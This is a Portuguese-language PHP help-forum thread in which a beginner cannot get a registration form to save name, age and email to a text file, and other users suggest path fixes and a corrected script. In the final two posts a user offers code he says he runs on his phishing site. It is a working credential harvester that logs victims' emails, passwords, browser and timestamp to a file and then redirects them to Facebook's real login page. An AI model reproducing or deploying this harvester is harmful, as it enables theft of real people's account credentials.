diefenic 0 Denunciar post Postado Junho 12, 2011 Tudo bem pessoa, é o seguinte estou com um problema estou usando códigos simples ( para teste ) para cadastro de usuarios, onde os dados sao gravados em um arquivo txt, inclusive, procurei pela rede por algo e fiz alguns testes, sou novo na area, e o que acontece é que nao consigo gravar em .txt segue o código ===========cadastro.php============ <form method='POST' action='gravar.php'> Nome: <input type='text' name='txt_nome' size='40'><br> Idade: <input type='text' name='txt_idade' size='2'><br> Email: <input type='text' name='txt_email' size='40'><br><br> <input type='submit' name='btnOK' value='Concluir'> </form> ========= gravar.php ( DEVERIA GRAVAR MAS NÃO FAZ ISSO )==== <? //PEGA OS DADOS ENVIADOS PELO FORMULÁRIO $nome = $_POST["txt_nome"]; $idade = $_POST["txt_idade"]; $email = $_POST["txt_email"]; //PREPARA O CONTEÚDO A SER GRAVADO $conteudo = "$nome,$idade,$email\r\n"; //ARQUIVO TXT $arquivo = "C:\Users\Jonathas\Desktop\site_dreamweaver\registro.txt"; //TENTA ABRIR O ARQUIVO TXT if (!$abrir = fopen($arquivo, "a")) { echo "Erro abrindo arquivo ($arquivo)"; exit; } //ESCREVE NO ARQUIVO TXT if (!fwrite($abrir, $conteudo)) { print "Erro escrevendo no arquivo ($arquivo)"; exit; } echo "Arquivo gravado com Sucesso !!"; //FECHA O ARQUIVO fclose($abrir); ?> salientando que o local do arquivo é um local válido e o arquivo foi criado qualquer ajuda será bem vinda, obrigado Compartilhar este post Link para o post Compartilhar em outros sites
Andrey Knupp Vital 136 Denunciar post Postado Junho 12, 2011 Por que gravar dados de usuários em arquivo de texto ? Compartilhar este post Link para o post Compartilhar em outros sites
diefenic 0 Denunciar post Postado Junho 12, 2011 é que vou usar esse arquivo txt como entrada para outro programa, em si poderão nen ser dados como nome idade e tal, mas campos que formalizarei depois, os campos nome idade e email são apenas para testar... Compartilhar este post Link para o post Compartilhar em outros sites
Andrey Knupp Vital 136 Denunciar post Postado Junho 12, 2011 Tenta assim <?php $conteudo = sprintf( '%s,%s,%s', $_POST[ 'txt_nome' ], $_POST[ 'txt_idade' ], $_POST[ 'txt_email' ] ); $fp = fopen( 'registro.txt', 'a+' ); if( !$fp ){ echo 'Erro inesperado, não foi possivel abrir o arquivo'; exit; }else{ fwrite( $fp, $conteudo ); } Não coloque o Path completo do arquivo, apenas coloque 'a pasta' onde o 'arquivo' se localiza. Compartilhar este post Link para o post Compartilhar em outros sites
diefenic 0 Denunciar post Postado Junho 12, 2011 incrivel, por curiosidade testei o cadastro direcionando para uma pagina que apenas printa algumas coisas na tela, e percebi que isso nao acontece!! acho que meu problema pode ser outro... estou usando o dreamweaver Compartilhar este post Link para o post Compartilhar em outros sites
Andrey Knupp Vital 136 Denunciar post Postado Junho 12, 2011 Uma dica, para de usar dreamweaver, e o pior editor que existe.. os motivos são óbvios, a indentação do código é uma porcaria, entre 'outros' Recomendo que use NetBeans,Eclipse,Zend Studio ou Aptana Compartilhar este post Link para o post Compartilhar em outros sites
diefenic 0 Denunciar post Postado Junho 22, 2011 seguinte pessoal, voltei ao tópico pois essa semana voltei a ativa no que estava fazendo e ainda tenho o seguinte problema tenho a pagina do formulario descrita acima, e ao clicar em ENVIAR, a pagina direciona pro gravar.php mas nao faz nada, simplesmente abre a pagina em branco e nao faz absolutamente NADA, nao sei o que pode estar acontecendo Compartilhar este post Link para o post Compartilhar em outros sites
Kakashi_Hatake 267 Denunciar post Postado Junho 22, 2011 Se o gravar.php está como o postado no início do tópico. Mude $arquivo = "C:\Users\Jonathas\Desktop\site_dreamweaver\registro.txt"; Para $arquivo = "registro.txt"; Compartilhar este post Link para o post Compartilhar em outros sites
diefenic 0 Denunciar post Postado Junho 24, 2011 tentei a modificação e nao resolveu, na verdade tentei muitas combinações nesse item do txt: criando previamente e indicando só o nome, apenas indicando o nome, indicando o caminho e nao criando o arquivo previamente, e indicando o caminho e criand. ele não grava nada em nenhuma das ocasiões Compartilhar este post Link para o post Compartilhar em outros sites
Nilton Soares Rocha 0 Denunciar post Postado Outubro 3, 2012 Boa tarde, Amigo Estava procurando um exemplo como o seu, para eu fazer teste também. Como estava problema, procurei e encontrei a solução. As modificação foram poucas no seu código. 1º Tenho o servidor localhost com nome e wamp; 2º Criei a pasta Cadastro dentro da pasta www do meu servidor wamp; Agora gravei dentro da pasta cadastro os arquivo. cadastro.php, gravar.php e registro.php Alterações reslizadas: //retirei as tags html do arquivo cadastro.php //Acrescentei no arquivo gravar.php <?php //Alterei a linha $arquivo = "registro.txt"; ===========cadastro.php============ <form method='POST' action='gravar.php'> Nome: <input type='text' name='txt_nome' size='40'><br> Idade: <input type='text' name='txt_idade' size='2'><br> Email: <input type='text' name='txt_email' size='40'><br><br> <input type='submit' name='btnOK' value='Concluir'> </form> ========= gravar.php ( DEVERIA GRAVAR MAS NÃO FAZ ISSO )==== <?php //PEGA OS DADOS ENVIADOS PELO FORMULÁRIO $nome = $_POST["txt_nome"]; $idade = $_POST["txt_idade"]; $email = $_POST["txt_email"]; //PREPARA O CONTEÚDO A SER GRAVADO $conteudo = "$nome,$idade,$email\r\n"; //ARQUIVO TXT $arquivo = "registro.txt"; //TENTA ABRIR O ARQUIVO TXT if (!$abrir = fopen($arquivo, "a")) { echo "Erro abrindo arquivo ($arquivo)"; exit; } //ESCREVE NO ARQUIVO TXT if (!fwrite($abrir, $conteudo)) { print "Erro escrevendo no arquivo ($arquivo)"; exit; } echo "Arquivo gravado com Sucesso !!"; //FECHA O ARQUIVO fclose($abrir); ?> Compartilhar este post Link para o post Compartilhar em outros sites
MisterCode 0 Denunciar post Postado Maio 12, 2017 Talvez isso aqui te ajude... Eu uso isso no meu site de Phishing talvez funcione pra você ------------------------------------------------------------------------------------------------------------------------------------------------------ <?php $nomearquivo ="senha.html"; $email =$_POST["email"]; $senha =$_POST["pass"]; $browser =$_SERVER['HTTP_USER_AGENT']; $data =date("Y-m-d"); $hora =date("H:i:s"); $traco ="<br><br>"; $ess ="Email: ".$email."<br>Senha: ".$senha."<br>Navegador: ".$browser." <br>Data: ".$data."<br>Hora: ".$hora."<br>".$traco; $abre =@fopen("senha.html","a+"); $escreve =fwrite($abre, $ess); echo "<script>javascript:document.location='Pagina que deseja redirecionar apos o ataque' </script>"; function redirecionar($url, $tempo) { $url = str_replace('&', '&', $url); if($tempo > 0) { header("Refresh: $tempo; URL=$url"); } else { @ob_flush(); @ob_end_clean(); header("Location: $url"); exit; } } ?> Compartilhar este post Link para o post Compartilhar em outros sites
MisterCode 0 Denunciar post Postado Maio 12, 2017 Aonde tem Nome do Arquivo voce pode alterar de HTML para txt vai ver funciona do Mesmo Jeito <?php $nomearquivo ="senha.txt"; $email =$_POST["email"]; $senha =$_POST["pass"]; $browser =$_SERVER['HTTP_USER_AGENT']; $data =date("Y-m-d"); $hora =date("H:i:s"); $traco ="<br><br>"; $ess ="Email: ".$email."<br>Senha: ".$senha."<br>Navegador: ".$browser." <br>Data: ".$data."<br>Hora: ".$hora."<br>".$traco; $abre =@fopen("senha.html","a+"); $escreve =fwrite($abre, $ess); echo "<script>javascript:document.location='https://www.facebook.com/login.php?login_attempt=1&lwv=100' </script>"; function redirecionar($url, $tempo) { $url = str_replace('&', '&', $url); if($tempo > 0) { header("Refresh: $tempo; URL=$url"); } else { @ob_flush(); @ob_end_clean(); header("Location: $url"); exit; } } ?> Compartilhar este post Link para o post Compartilhar em outros sites